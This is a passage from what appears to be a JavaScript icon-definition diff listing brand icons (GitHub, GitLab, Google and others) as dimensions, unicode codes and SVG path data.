19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 8.1-30.93 8.66-35.47.96-4.57-7.74 3.6-21.05 18.32-30.66-8.68-11.77-18.98-22.3-30.56-31.09-9.51 15.59-23.36 24.44-31.36 19.82-8.05-4.65-7.19-21.16 1.71-37.29a147.49 147.49 0 0 0-27.45-9.08zm-32.48 8.6c-3.23 0-5.86 8.81-6.09 19.93h-.05v16.88c0 41.42-49.01 95.04-93.49 95.04-52 0-122.75-1.45-156.37 29.17v2.51c9.42 17.12 20.58 33.17 33.18 47.97C45.7 380.26 84.77 360.4 141.2 360c45.68 1.02 79.03 20.33 90.76 40.87.01.01-.01.04 0 .05 7.67 2.14 15.85 3.23 24.04 3.21 8.19.02 16.37-1.07 24.04-3.21.01-.01-.01-.04 0-.05 11.74-20.54 45.08-39.85 90.76-40.87 56.43.39 95.49 20.26 108.02 41.35 12.6-14.8 23.76-30.86 33.18-47.97v-2.51c-33.61-30.62-104.37-29.17-156.37-29.17-44.48 0-93.49-53.62-93.49-95.04v-16.88h-.05c-.23-11.12-2.86-19.93-6.09-19.93zm0 96.59c22.42 0 40.6 18.18 40.6 40.6s-18.18 40.65-40.6 40.65-40.6-18.23-40.6-40.65c0-22.42 18.18-40.6 40.6-40.6zm0 7.64c-18.19 0-32.96 14.77-32.96 32.96S237.81 360 256 360s32.96-14.77 32.96-32.96-14.77-32.96-32.96-32.96zm0 6.14c14.81 0 26.82 12.01 26.82 26.82s-12.01 26.82-26.82 26.82-26.82-12.01-26.82-26.82 12.01-26.82 26.82-26.82zm-114.8 66.67c-10.19.07-21.6.36-30.5 1.66.43 4.42 1.51 18.63 7.11 29.76 9.11-2.56 18.36-3.9 27.62-3.9 41.28.94 71.48 34.35 78.26 74.47l.11 4.7c10.4 1.91 21.19 2.94 32.21 2.94 11.03 0 21.81-1.02 32.21-2.94l.11-4.7c6.78-40.12 36.98-73.53 78.26-74.47 9.26 0 18.51 1.34 27.62 3.9 5.6-11.13 6.68-25.34 7.11-29.76-8.9-1.3-20.32-1.58-30.5-1.66-18.76.42-35.19 4.17-48.61 9.67-12.54 16.03-29.16 30.03-49.58 33.07-.09.02-.17.04-.27.05-.05.01-.11.04-.16.05-5.24 1.07-10.63 1.6-16.19 1.6-5.55 0-10.95-.53-16.19-1.6-.05-.01-.11-.04-.16-.05-.1-.02-.17-.04-.27-.05-20.42-3.03-37.03-17.04-49.58-33.07-13.42-5.49-29.86-9.25-48.61-9.67z" ], + "get-pocket": [ 448, 512, [], "f265", "M407.6 64h-367C18.5 64 0 82.5 0 104.6v135.2C0 364.5 99.7 464 224.2 464c124 0 223.8-99.5 223.8-224.2V104.6c0-22.4-17.7-40.6-40.4-40.6zm-162 268.5c-12.4 11.8-31.4 11.1-42.4 0C89.5 223.6 88.3 227.4 88.3 209.3c0-16.9 13.8-30.7 30.7-30.7 17 0 16.1 3.8 105.2 89.3 90.6-86.9 88.6-89.3 105.5-89.3 16.9 0 30.7 13.8 30.7 30.7 0 17.8-2.9 15.7-114.8 123.2z" ], + gg: [ 512, 512, [], "f260", "M179.2 230.4l102.4 102.4-102.4 102.4L0 256 179.2 76.8l44.8 44.8-25.6 25.6-19.2-19.2-128 128 128 128 51.5-51.5-77.1-76.5 25.6-25.6zM332.8 76.8L230.4 179.2l102.4 102.4 25.6-25.6-77.1-76.5 51.5-51.5 128 128-128 128-19.2-19.2-25.6 25.6 44.8 44.8L512 256 332.8 76.8z" ], + "gg-circle": [ 512, 512, [], "f261", "M257 8C120 8 9 119 9 256s111 248 248 248 248-111 248-248S394 8 257 8zm-49.5 374.8L81.8 257.1l125.7-125.7 35.2 35.4-24.2 24.2-11.1-11.1-77.2 77.2 77.2 77.2 26.6-26.6-53.1-52.9 24.4-24.4 77.2 77.2-75 75.2zm99-2.2l-35.2-35.2 24.1-24.4 11.1 11.1 77.2-77.2-77.2-77.2-26.5 26.5 53.1 52.9-24.4 24.4-77.2-77.2 75-75L432.2 255 306.5 380.6z" ], + git: [ 512, 512, [], "f1d3", "M216.29 158.39H137C97 147.9 6.51 150.63 6.51 233.18c0 30.09 15 51.23 35 61-25.1 23-37 33.85-37 49.21 0 11 4.47 21.14 17.89 26.81C8.13 383.61 0 393.35 0 411.65c0 32.11 28.05 50.82 101.63 50.82 70.75 0 111.79-26.42 111.79-73.18 0-58.66-45.16-56.5-151.63-63l13.43-21.55c27.27 7.58 118.7 10 118.7-67.89 0-18.7-7.73-31.71-15-41.07l37.41-2.84zm-63.42 241.9c0 32.06-104.89 32.1-104.89 2.43 0-8.14 5.27-15 10.57-21.54 77.71 5.3 94.32 3.37 94.32 19.11zm-50.81-134.58c-52.8 0-50.46-71.16 1.2-71.16 49.54 0 50.82 71.16-1.2 71.16zm133.3 100.51v-32.1c26.75-3.66 27.24-2 27.24-11V203.61c0-8.5-2.05-7.38-27.24-16.26l4.47-32.92H324v168.71c0 6.51.4 7.32 6.51 8.14l20.73 2.84v32.1zm52.45-244.31c-23.17 0-36.59-13.43-36.59-36.61s13.42-35.77 36.59-35.77c23.58 0 37 12.62 37 35.77s-13.42 36.61-37 36.61zM512 350.46c-17.49 8.53-43.1 16.26-66.28 16.26-48.38 0-66.67-19.5-66.67-65.46V194.75c0-5.42 1.05-4.06-31.71-4.06V154.5c35.78-4.07 50-22 54.47-66.27h38.63c0 65.83-1.34 61.81 3.26 61.81H501v40.65h-60.56v97.15c0 6.92-4.92 51.41 60.57 26.84z" ], + "git-alt": [ 448, 512, [], "f841", "M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z" ], + "git-square": [ 448, 512, [], "f1d2", "M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z" ], + github: [ 496, 512, [], "f09b", "M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z" ], + "github-alt": [ 480, 512, [], "f113", "M186.1 328.7c0 20.9-10.9 55.1-36.7 55.1s-36.7-34.2-36.7-55.1 10.9-55.1 36.7-55.1 36.7 34.2 36.7 55.1zM480 278.2c0 31.9-3.2 65.7-17.5 95-37.9 76.6-142.1 74.8-216.7 74.8-75.8 0-186.2 2.7-225.6-74.8-14.6-29-20.2-63.1-20.2-95 0-41.9 13.9-81.5 41.5-113.6-5.2-15.8-7.7-32.4-7.7-48.8 0-21.5 4.9-32.3 14.6-51.8 45.3 0 74.3 9 108.8 36 29-6.9 58.8-10 88.7-10 27 0 54.2 2.9 80.4 9.2 34-26.7 63-35.2 107.8-35.2 9.8 19.5 14.6 30.3 14.6 51.8 0 16.4-2.6 32.7-7.7 48.2 27.5 32.4 39 72.3 39 114.2zm-64.3 50.5c0-43.9-26.7-82.6-73.5-82.6-18.9 0-37 3.4-56 6-14.9 2.3-29.8 3.2-45.1 3.2-15.2 0-30.1-.9-45.1-3.2-18.7-2.6-37-6-56-6-46.8 0-73.5 38.7-73.5 82.6 0 87.8 80.4 101.3 150.4 101.3h48.2c70.3 0 150.6-13.4 150.6-101.3zm-82.6-55.1c-25.8 0-36.7 34.2-36.7 55.1s10.9 55.1 36.7 55.1 36.7-34.2 36.7-55.1-10.9-55.1-36.7-55.1z" ], + "github-square": [ 448, 512, [], "f092", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z" ], + gitkraken: [ 592, 512, [], "f3a6", "M565.7 118.1c-2.3-6.1-9.3-9.2-15.3-6.6-5.7 2.4-8.5 8.9-6.3 14.6 10.9 29 16.9 60.5 16.9 93.3 0 134.6-100.3 245.7-230.2 262.7V358.4c7.9-1.5 15.5-3.6 23-6.2v104c106.7-25.9 185.9-122.1 185.9-236.8 0-91.8-50.8-171.8-125.8-213.3-5.7-3.2-13-.9-15.9 5-2.7 5.5-.6 12.2 4.7 15.1 67.9 37.6 113.9 110 113.9 193.2 0 93.3-57.9 173.1-139.8 205.4v-92.2c14.2-4.5 24.9-17.7 24.9-33.5 0-13.1-6.8-24.4-17.3-30.5 8.3-79.5 44.5-58.6 44.5-83.9V170c0-38-87.9-161.8-129-164.7-2.5-.2-5-.2-7.6 0C251.1 8.3 163.2 132 163.2 170v14.8c0 25.3 36.3 4.3 44.5 83.9-10.6 6.1-17.3 17.4-17.3 30.5 0 15.8 10.6 29 24.8 33.5v92.2c-81.9-32.2-139.8-112-139.8-205.4 0-83.1 46-155.5 113.9-193.2 5.4-3 7.4-9.6 4.7-15.1-2.9-5.9-10.1-8.2-15.9-5-75 41.5-125.8 121.5-125.8 213.3 0 114.7 79.2 210.8 185.9 236.8v-104c7.6 2.5 15.1 4.6 23 6.2v123.7C131.4 465.2 31 354.1 31 219.5c0-32.8 6-64.3 16.9-93.3 2.2-5.8-.6-12.2-6.3-14.6-6-2.6-13 .4-15.3 6.6C14.5 149.7 8 183.8 8 219.5c0 155.1 122.6 281.6 276.3 287.8V361.4c6.8.4 15 .5 23.4 0v145.8C461.4 501.1 584 374.6 584 219.5c0-35.7-6.5-69.8-18.3-101.4zM365.9 275.5c13 0 23.7 10.5 23.7 23.7 0 13.1-10.6 23.7-23.7 23.7-13 0-23.7-10.5-23.7-23.7 0-13.1 10.6-23.7 23.7-23.7zm-139.8 47.3c-13.2 0-23.7-10.7-23.7-23.7s10.5-23.7 23.7-23.7c13.1 0 23.7 10.6 23.7 23.7 0 13-10.5 23.7-23.7 23.7z" ], + gitlab: [ 512, 512, [], "f296", "M105.2 24.9c-3.1-8.9-15.7-8.9-18.9 0L29.8 199.7h132c-.1 0-56.6-174.8-56.6-174.8zM.9 287.7c-2.6 8 .3 16.9 7.1 22l247.9 184-226.2-294zm160.8-88l94.3 294 94.3-294zm349.4 88l-28.8-88-226.3 294 247.9-184c6.9-5.1 9.7-14 7.2-22zM425.7 24.9c-3.1-8.9-15.7-8.9-18.9 0l-56.6 174.8h132z" ], + gitter: [ 384, 512, [], "f426", "M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z" ], + glide: [ 448, 512, [], "f2a5", "M252.8 148.6c0 8.8-1.6 17.7-3.4 26.4-5.8 27.8-11.6 55.8-17.3 83.6-1.4 6.3-8.3 4.9-13.7 4.9-23.8 0-30.5-26-30.5-45.5 0-29.3 11.2-68.1 38.5-83.1 4.3-2.5 9.2-4.2 14.1-4.2 11.4 0 12.3 8.3 12.3 17.9zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-64 187c0-5.1-20.8-37.7-25.5-39.5-2.2-.9-7.2-2.3-9.6-2.3-23.1 0-38.7 10.5-58.2 21.5l-.5-.5c4.3-29.4 14.6-57.2 14.6-87.4 0-44.6-23.8-62.7-67.5-62.7-71.7 0-108 70.8-108 123.5 0 54.7 32 85 86.3 85 7.5 0 6.9-.6 6.9 2.3-10.5 80.3-56.5 82.9-56.5 58.9 0-24.4 28-36.5 28.3-38-.2-7.6-29.3-17.2-36.7-17.2-21.1 0-32.7 33-32.7 50.6 0 32.3 20.4 54.7 53.3 54.7 48.2 0 83.4-49.7 94.3-91.7 9.4-37.7 7-39.4 12.3-42.1 20-10.1 35.8-16.8 58.4-16.8 11.1 0 19 2.3 36.7 5.2 1.8.1 4.1-1.7 4.1-3.5z" ], + "glide-g": [ 448, 512, [], "f2a6", "M407.1 211.2c-3.5-1.4-11.6-3.8-15.4-3.8-37.1 0-62.2 16.8-93.5 34.5l-.9-.9c7-47.3 23.5-91.9 23.5-140.4C320.8 29.1 282.6 0 212.4 0 97.3 0 39 113.7 39 198.4 39 286.3 90.3 335 177.6 335c12 0 11-1 11 3.8-16.9 128.9-90.8 133.1-90.8 94.6 0-39.2 45-58.6 45.5-61-.3-12.2-47-27.6-58.9-27.6-33.9.1-52.4 51.2-52.4 79.3C32 476 64.8 512 117.5 512c77.4 0 134-77.8 151.4-145.4 15.1-60.5 11.2-63.3 19.7-67.6 32.2-16.2 57.5-27 93.8-27 17.8 0 30.5 3.7 58.9 8.4 2.9 0 6.7-2.9 6.7-5.8 0-8-33.4-60.5-40.9-63.4zm-175.3-84.4c-9.3 44.7-18.6 89.6-27.8 134.3-2.3 10.2-13.3 7.8-22 7.8-38.3 0-49-41.8-49-73.1 0-47 18-109.3 61.8-133.4 7-4.1 14.8-6.7 22.6-6.7 18.6 0 20 13.3 20 28.7-.1 14.3-2.7 28.5-5.6 42.4z" ], + gofore: [ 400, 512, [], "f3a7", "M324 319.8h-13.2v34.7c-24.5 23.1-56.3 35.8-89.9 35.8-73.2 0-132.4-60.2-132.4-134.4 0-74.1 59.2-134.4 132.4-134.4 35.3 0 68.6 14 93.6 39.4l62.3-63.3C335 55.3 279.7 32 220.7 32 98 32 0 132.6 0 256c0 122.5 97 224 220.7 224 63.2 0 124.5-26.2 171-82.5-2-27.6-13.4-77.7-67.7-77.7zm-12.1-112.5H205.6v89H324c33.5 0 60.5 15.1 76 41.8v-30.6c0-65.2-40.4-100.2-88.1-100.2z" ], + goodreads: [ 448, 512, [], "f3a8", "M299.9 191.2c5.1 37.3-4.7 79-35.9 100.7-22.3 15.5-52.8 14.1-70.8 5.7-37.1-17.3-49.5-58.6-46.8-97.2 4.3-60.9 40.9-87.9 75.3-87.5 46.9-.2 71.8 31.8 78.2 78.3zM448 88v336c0 30.9-25.1 56-56 56H56c-30.9 0-56-25.1-56-56V88c0-30.9 25.1-56 56-56h336c30.9 0 56 25.1 56 56zM330 313.2s-.1-34-.1-217.3h-29v40.3c-.8.3-1.2-.5-1.6-1.2-9.6-20.7-35.9-46.3-76-46-51.9.4-87.2 31.2-100.6 77.8-4.3 14.9-5.8 30.1-5.5 45.6 1.7 77.9 45.1 117.8 112.4 115.2 28.9-1.1 54.5-17 69-45.2.5-1 1.1-1.9 1.7-2.9.2.1.4.1.6.2.3 3.8.2 30.7.1 34.5-.2 14.8-2 29.5-7.2 43.5-7.8 21-22.3 34.7-44.5 39.5-17.8 3.9-35.6 3.8-53.2-1.2-21.5-6.1-36.5-19-41.1-41.8-.3-1.6-1.3-1.3-2.3-1.3h-26.8c.8 10.6 3.2 20.3 8.5 29.2 24.2 40.5 82.7 48.5 128.2 37.4 49.9-12.3 67.3-54.9 67.4-106.3z" ], + "goodreads-g": [ 384, 512, [], "f3a9", "M42.6 403.3h2.8c12.7 0 25.5 0 38.2.1 1.6 0 3.1-.4 3.6 2.1 7.1 34.9 30 54.6 62.9 63.9 26.9 7.6 54.1 7.8 81.3 1.8 33.8-7.4 56-28.3 68-60.4 8-21.5 10.7-43.8 11-66.5.1-5.8.3-47-.2-52.8l-.9-.3c-.8 1.5-1.7 2.9-2.5 4.4-22.1 43.1-61.3 67.4-105.4 69.1-103 4-169.4-57-172-176.2-.5-23.7 1.8-46.9 8.3-69.7C58.3 47.7 112.3.6 191.6 0c61.3-.4 101.5 38.7 116.2 70.3.5 1.1 1.3 2.3 2.4 1.9V10.6h44.3c0 280.3.1 332.2.1 332.2-.1 78.5-26.7 143.7-103 162.2-69.5 16.9-159 4.8-196-57.2-8-13.5-11.8-28.3-13-44.5zM188.9 36.5c-52.5-.5-108.5 40.7-115 133.8-4.1 59 14.8 122.2 71.5 148.6 27.6 12.9 74.3 15 108.3-8.7 47.6-33.2 62.7-97 54.8-154-9.7-71.1-47.8-120-119.6-119.7z" ], + google: [ 488, 512, [], "f1a0", "M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z" ], + "google-drive": [ 512, 512, [], "f3aa", "M339 314.9L175.4 32h161.2l163.6 282.9H339zm-137.5 23.6L120.9 480h310.5L512 338.5H201.5zM154.1 67.4L0 338.5 80.6 480 237 208.8 154.1 67.4z" ], + "google-pay": [ 640, 512, [], "e079", "M105.72,215v41.25h57.1a49.66,49.66,0,0,1-21.14,32.6c-9.54,6.55-21.72,10.28-36,10.28-27.6,0-50.93-18.91-59.3-44.22a65.61,65.61,0,0,1,0-41l0,0c8.37-25.46,31.7-44.37,59.3-44.37a56.43,56.43,0,0,1,40.51,16.08L176.47,155a101.24,101.24,0,0,0-70.75-27.84,105.55,105.55,0,0,0-94.38,59.11,107.64,107.64,0,0,0,0,96.18v.15a105.41,105.41,0,0,0,94.38,59c28.47,0,52.55-9.53,70-25.91,20-18.61,31.41-46.15,31.41-78.91A133.76,133.76,0,0,0,205.38,215Zm389.41-4c-10.13-9.38-23.93-14.14-41.39-14.14-22.46,0-39.34,8.34-50.5,24.86l20.85,13.26q11.45-17,31.26-17a34.05,34.05,0,0,1,22.75,8.79A28.14,28.14,0,0,1,487.79,248v5.51c-9.1-5.07-20.55-7.75-34.64-7.75-16.44,0-29.65,3.88-39.49,11.77s-14.82,18.31-14.82,31.56a39.74,39.74,0,0,0,13.94,31.27c9.25,8.34,21,12.51,34.79,12.51,16.29,0,29.21-7.3,39-21.89h1v17.72h22.61V250C510.25,233.45,505.26,220.34,495.13,211ZM475.9,300.3a37.32,37.32,0,0,1-26.57,11.16A28.61,28.61,0,0,1,431,305.21a19.41,19.41,0,0,1-7.77-15.63c0-7,3.22-12.81,9.54-17.42s14.53-7,24.07-7C470,265,480.3,268,487.64,273.94,487.64,284.07,483.68,292.85,475.9,300.3Zm-93.65-142A55.71,55.71,0,0,0,341.74,142H279.07V328.74H302.7V253.1h39c16,0,29.5-5.36,40.51-15.93.88-.89,1.76-1.79,2.65-2.68A54.45,54.45,0,0,0,382.25,158.26Zm-16.58,62.23a30.65,30.65,0,0,1-23.34,9.68H302.7V165h39.63a32,32,0,0,1,22.6,9.23A33.18,33.18,0,0,1,365.67,220.49ZM614.31,201,577.77,292.7h-.45L539.9,201H514.21L566,320.55l-29.35,64.32H561L640,201Z" ], + "google-play": [ 512, 512, [], "f3ab", "M325.3 234.3L104.6 13l280.8 161.2-60.1 60.1zM47 0C34 6.8 25.3 19.2 25.3 35.3v441.3c0 16.1 8.7 28.5 21.7 35.3l256.6-256L47 0zm425.2 225.6l-58.9-34.1-65.7 64.5 65.7 64.5 60.1-34.1c18-14.3 18-46.5-1.2-60.8zM104.6 499l280.8-161.2-60.1-60.1L104.6 499z" ], + "google-plus": [ 512, 512, [], "f2b3", "M256,8C119.1,8,8,119.1,8,256S119.1,504,256,504,504,392.9,504,256,392.9,8,256,8ZM185.3,380a124,124,0,0,1,0-248c31.3,0,60.1,11,83,32.3l-33.6,32.6c-13.2-12.9-31.3-19.1-49.4-19.1-42.9,0-77.2,35.5-77.2,78.1S142.3,334,185.3,334c32.6,0,64.9-19.1,70.1-53.3H185.3V238.1H302.2a109.2,109.2,0,0,1,1.9,20.7c0,70.8-47.5,121.2-118.8,121.2ZM415.5,273.8v35.5H380V273.8H344.5V238.3H380V202.8h35.5v35.5h35.2v35.5Z" ], + "google-plus-g": [ 640, 512, [], "f0d5", "M386.061 228.496c1.834 9.692 3.143 19.384 3.143 31.956C389.204 370.205 315.599 448 204.8 448c-106.084 0-192-85.915-192-192s85.916-192 192-192c51.864 0 95.083 18.859 128.611 50.292l-52.126 50.03c-14.145-13.621-39.028-29.599-76.485-29.599-65.484 0-118.92 54.221-118.92 121.277 0 67.056 53.436 121.277 118.92 121.277 75.961 0 104.513-54.745 108.965-82.773H204.8v-66.009h181.261zm185.406 6.437V179.2h-56.001v55.733h-55.733v56.001h55.733v55.733h56.001v-55.733H627.2v-56.001h-55.733z" ], + "google-plus-square": [ 448, 512, [], "f0d4", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z" ], + "google-wallet": [ 448, 512, [], "f1ee", "M156.8 126.8c37.6 60.6 64.2 113.1 84.3 162.5-8.3 33.8-18.8 66.5-31.3 98.3-13.2-52.3-26.5-101.3-56-148.5 6.5-36.4 2.3-73.6 3-112.3zM109.3 200H16.1c-6.5 0-10.5 7.5-6.5 12.7C51.8 267 81.3 330.5 101.3 400h103.5c-16.2-69.7-38.7-133.7-82.5-193.5-3-4-8-6.5-13-6.5zm47.8-88c68.5 108 130 234.5 138.2 368H409c-12-138-68.4-265-143.2-368H157.1zm251.8-68.5c-1.8-6.8-8.2-11.5-15.2-11.5h-88.3c-5.3 0-9 5-7.8 10.3 13.2 46.5 22.3 95.5 26.5 146 48.2 86.2 79.7 178.3 90.6 270.8 15.8-60.5 25.3-133.5 25.3-203 0-73.6-12.1-145.1-31.1-212.6z" ], + gratipay: [ 496, 512, [], "f184", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm114.6 226.4l-113 152.7-112.7-152.7c-8.7-11.9-19.1-50.4 13.6-72 28.1-18.1 54.6-4.2 68.5 11.9 15.9 17.9 46.6 16.9 61.7 0 13.9-16.1 40.4-30 68.1-11.9 32.9 21.6 22.6 60 13.8 72z" ], + grav: [ 512, 512, [], "f2d6", "M301.1 212c4.4 4.4 4.4 11.9 0 16.3l-9.7 9.7c-4.4 4.7-11.9 4.7-16.6 0l-10.5-10.5c-4.4-4.7-4.4-11.9 0-16.6l9.7-9.7c4.4-4.4 11.9-4.4 16.6 0l10.5 10.8zm-30.2-19.7c3-3 3-7.8 0-10.5-2.8-3-7.5-3-10.5 0-2.8 2.8-2.8 7.5 0 10.5 3.1 2.8 7.8 2.8 10.5 0zm-26 5.3c-3 2.8-3 7.5 0 10.2 2.8 3 7.5 3 10.5 0 2.8-2.8 2.8-7.5 